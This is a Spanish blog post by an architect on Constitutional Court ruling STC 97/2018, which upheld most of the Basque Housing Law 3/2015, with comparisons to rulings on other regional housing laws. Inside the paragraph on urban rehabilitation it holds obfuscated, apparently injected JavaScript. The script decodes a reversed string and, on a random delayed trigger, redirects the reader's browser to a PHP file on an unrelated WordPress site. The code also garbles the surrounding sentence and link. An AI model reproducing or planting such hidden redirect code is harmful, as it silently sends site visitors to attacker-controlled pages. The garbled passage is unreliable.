¡Habemus Sentencia sobre la Ley de Vivienda! (1)

Tras más de 3 años ya tenemos texto consolidado de la

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Recordemos que desde el 19 de julio de 2016 se mantenían suspendidos los artículos 3, en sus letras t) y x); 4, en sus apartados 1 y 2.b); 9.4; 56, en sus apartados 1, 2 y 3; 59; 63.2, en sus letras a), b), c), d), f), g) y h); 64; 72, en sus apartados 1 y 3.c); 74; 75; 83.d); y 84.d), todos ellos de la to Vasco 3/2015, de 18 de junio, de Vivienda.

Pues ya se ha publicado en el BOE la STC 97/2018, por la cual son constitucionales todos los artículos impugnados de la Ley 3/2015 de Vivienda excepto lo siguiente:

¡Enhorabuena a los premiados!

Dicho lo cual interesa señalar varios aspectos del fondo de la sentencia y otros que colearán y que analizaremos en próximos posts.

Resulta revelador comprobar cómo la STC evacua el juicio de constitucionalidad de los aspectos nucleares del recurso interpuesto, digamos que aplicando el principio de economía procesal:

Las Sentencias STC 16/2018STC 32/2018 y STC 93/2015STC 43/2018 y STC 80/2018 corresponden respectivamente a los pronunciamientos sobre las Leyes navarra, andaluzas, canaria y valenciana de vivienda, las cuales fueron avaladas por el TC, de la misma manera que lo hace ahora con respecto a la nuestra al encontrar identidad de objeto y casi dicción.

Tal como comentamos en su día, atreviéndonos a enmendar a nuestros padres de la patria, no parece que las regulaciones eran tan diferentes, ¿no?. Es lo que tiene el copy-paste del Word.

Otra cuestión que también fue objeto de copy-paste fue las actuaciones sobre el medio urbano, que para nosotros se llaman Declaración de Necesidad de Rehabilitación ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 3/2015 de vivienda” href=”http://www.boe.es/diario_boe/txt.php?id=BOE-A-2015-7802#43″ target=”_blank”>LvV 43, equivalente a la actuación de Regeneración y Renovación Urbanas, aMU-RR), las cuales se desarrollan en los artículos 40 a 51 del CAPÍTULO VII Intervención en la edificación y en los conjuntos urbanos y rurales. Las actuaciones homologas estatales estaban los artículos 7 a 19 de la L3R y ahora desperdigadas aunque fácilmente identificables en el TRLSR. Estas actuaciones fueron parcialmente cercenadas por la STC 143/2017, pero Ahora bien ¿Se estarán aplicando esos artículos que, por cierto, no fueron recurridos? ¡Vaya pregunta después de 3 años pasaditos!

Para finalizar y como avance del próximo post, resulta peculiar otra de las innovadoras propuestas de la ley, el canon de vivienda deshabitada (Non bis in idem y la vivienda vacía.

Eso será en próximos posts.

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Álvaro Cerezo

Álvaro Cerezo, Doctor Arquitecto (ETSAM, UPM), Arquitecto (ETSASS, UPV/EHU). Profesor Ayudante Doctor –ANECA- y Adjunto –UNIBASQ-. Profesor de la Cátedra UNED- Instituto Lincoln de Políticas de Suelo. Director de la Sociedad pública Puerto Deportivo el Abra – Getxo S.A. Ha sido arquitecto municipal en el Ayuntamiento de Zalla. Máster en valoraciones UPC-EM-REV y experto en Urbanismo, Derecho Urbanístico, Valoraciones, Ordenación y Gestión del Territorio y Evaluación ambiental. Experto en proyectos europeos (URBACT III, Regeneración urbana integrada, Medioambiente, Vivienda sostenible, Financiación de proyectos urbanos, Apoyo a las autoridades locales y otras partes interesadas en el diseño y ejecución de políticas integradas y participativas). ECA Residuos nivel I. Ha sido docente de la EVETU (IVAP) y en la UPV/EHU, Universidad de Deusto, UP-Cataluña, UP-Valencia y en instituciones INAP y ERAP, así como diversos colegios profesionales.

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